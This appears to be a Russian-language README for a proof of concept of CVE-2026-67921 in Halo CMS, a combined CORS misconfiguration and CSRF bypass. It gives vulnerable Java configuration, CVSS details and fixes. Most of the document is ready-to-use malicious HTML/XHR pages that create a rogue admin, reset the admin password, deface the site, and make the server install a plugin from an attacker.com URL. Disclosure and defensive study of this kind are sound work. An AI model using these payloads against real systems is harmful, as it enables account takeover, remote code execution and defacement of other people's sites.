unpredictable21/halo-cors-csrf-cve-2026-67921Proof-of-concept, демонстрирующий комбинированный обход неверной конфигурации CORS и защиты от CSRF в Halo CMS, позволяющий выполнять атаки с подделкой межсайтовых запросов для создания администраторов, смены паролей, установки плагинов и изменения контента.
Критическая комбинированная уязвимость существует в версиях Halo CMS до 2.25.4 из-за двух ошибок в конфигурации безопасности:
* (любой источник) с credentials: true/api/**, /apis/**) исключены из защиты CSRFВ сочетании это позволяет атакующему выполнять атаки Cross-Site Request Forgery из любого источника, обходя защиту Same-Origin Policy, которую призван обеспечивать CORS.
Оценка CVSS v3.1: 9.3 (Критическая)
Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Разрешительная междоменная политика)
Идентификатор CVE: CVE-2026-67921
Файл: application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← ЛЮБОЙ источник
configuration.setAllowCredentials(true); // ← Разрешить cookie
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
Воздействие: Любой веб-сайт может отправлять аутентифицированные запросы к API Halo с использованием cookie пользователя.
Файл: application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← Маршруты API исключены из CSRF!
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
Воздействие: Запросы к API не требуют CSRF-токенов, даже при аутентификации через сессионные cookie.
| Защита | По отдельности | В комбинации |
|---|---|---|
CORS * | Блокирует credentials (браузер применяет) | Credentials разрешены! |
| Нет CSRF | Защищено Same-Origin Policy | Обойдено через CORS! |
| Результат | Безопасно | Полный CSRF |
┌─────────────────────────────────────────────────────────────┐
│ Атакующий размещает вредоносную страницу на evil.com │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Браузер жертвы посещает evil.com │
│ → Форма автоматически отправляется в API Halo │
│ → Браузер автоматически включает сессионный cookie │
│ → CORS: Origin * + credentials: true → Запрос разрешён! │
│ → CSRF: /apis/** исключён → Токен не требуется! │
│ → Запрос выполняется с правами жертвы │
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// Изменение заголовка сайта
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
Создайте csrf-test.html:
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Эта страница попытается изменить настройки Halo при загрузке.</p>
<script>
// Тест CSRF путём изменения заголовка сайта
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">УСПЕХ! CSRF-атака сработала.</p>';
} else {
document.body.innerHTML += '<p style="color:red">Ошибка: ' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "CSRF Attack Success - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.html в браузере, будучи авторизованным в HaloAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| Атака | Воздействие | Серьёзность |
|---|---|---|
| Создание администратора | Полная компрометация системы | Критическая |
| Смена пароля администратора | Захват учётной записи | Критическая |
| Установка вредоносного плагина | Удалённое выполнение кода | Критическая |
| Изменение содержимого | Дефейс | Высокая |
| Удаление данных | Потеря данных | Высокая |
| Кража данных | Раскрытие информации | Высокая |
// Замените подстановочный знак конкретными источниками
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// Удалите исключения API из CSRF-матчера
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
Для конечных точек API предпочтительнее использовать аутентификацию с Bearer-токеном вместо сессионных cookie, которые уязвимы к CSRF.